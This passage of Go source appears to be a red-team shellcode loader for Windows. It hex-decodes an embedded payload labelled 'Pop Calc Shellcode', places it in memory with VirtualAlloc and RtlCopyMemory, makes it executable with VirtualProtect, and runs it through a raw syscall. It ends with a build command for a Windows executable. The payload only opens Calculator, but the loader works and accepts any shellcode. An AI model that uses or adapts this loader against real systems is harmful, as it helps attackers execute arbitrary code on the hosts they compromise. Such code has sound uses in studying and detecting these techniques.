PAGE_EXECUTE_READ = 0x20
// PAGE_READWRITE is a Windows constant used with Windows API calls
PAGE_READWRITE = 0x04
)
func main() {
verbose := flag.Bool("verbose", false, "Enable verbose output")
debug := flag.Bool("debug", false, "Enable debug output")
flag.Parse()
// Pop Calc Shellcode
shellcode, errShellcode := hex.DecodeString("505152535657556A605A6863616C6354594883EC2865488B32488B7618488B761048AD488B30488B7E3003573C8B5C17288B741F204801FE8B541F240FB72C178D5202AD813C0757696E4575EF8B741F1C4801FE8B34AE4801F799FFD74883C4305D5F5E5B5A5958C3")
if errShellcode != nil {
log.Fatal(fmt.Sprintf("[!]there was an error decoding the string to a hex byte array: %s", errShellcode.Error()))
}
if *debug {
fmt.Println("[DEBUG]Loading kernel32.dll and ntdll.dll")
}
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
if *debug {
fmt.Println("[DEBUG]Loading VirtualAlloc, VirtualProtect and RtlCopyMemory procedures")
}
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
if *debug {
fmt.Println("[DEBUG]Calling VirtualAlloc for shellcode")
}
addr, _, errVirtualAlloc := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
if errVirtualAlloc != nil && errVirtualAlloc.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling VirtualAlloc:\r\n%s", errVirtualAlloc.Error()))
}
if addr == 0 {
log.Fatal("[!]VirtualAlloc failed and returned 0")
}
if *verbose {
fmt.Println(fmt.Sprintf("[-]Allocated %d bytes", len(shellcode)))
}
if *debug {
fmt.Println("[DEBUG]Copying shellcode to memory with RtlCopyMemory")
}
_, _, errRtlCopyMemory := RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if errRtlCopyMemory != nil && errRtlCopyMemory.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("[!]Error calling RtlCopyMemory:\r\n%s", errRtlCopyMemory.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode copied to memory")
}
if *debug {
fmt.Println("[DEBUG]Calling VirtualProtect to change memory region to PAGE_EXECUTE_READ")
}
oldProtect := PAGE_READWRITE
_, _, errVirtualProtect := VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
if errVirtualProtect != nil && errVirtualProtect.Error() != "The operation completed successfully." {
log.Fatal(fmt.Sprintf("Error calling VirtualProtect:\r\n%s", errVirtualProtect.Error()))
}
if *verbose {
fmt.Println("[-]Shellcode memory region changed to PAGE_EXECUTE_READ")
}
if *debug {
fmt.Println("[DEBUG]Executing Shellcode")
}
_, _, errSyscall := syscall.Syscall(addr, 0, 0, 0, 0)
if errSyscall != 0 {
log.Fatal(fmt.Sprintf("[!]Error executing shellcode syscall:\r\n%s", errSyscall.Error()))
}
if *verbose {
fmt.Println("[+]Shellcode Executed")
}
}
// export GOOS=windows GOARCH=amd64;go build -o goSyscall.exe cmd/Syscall/main.go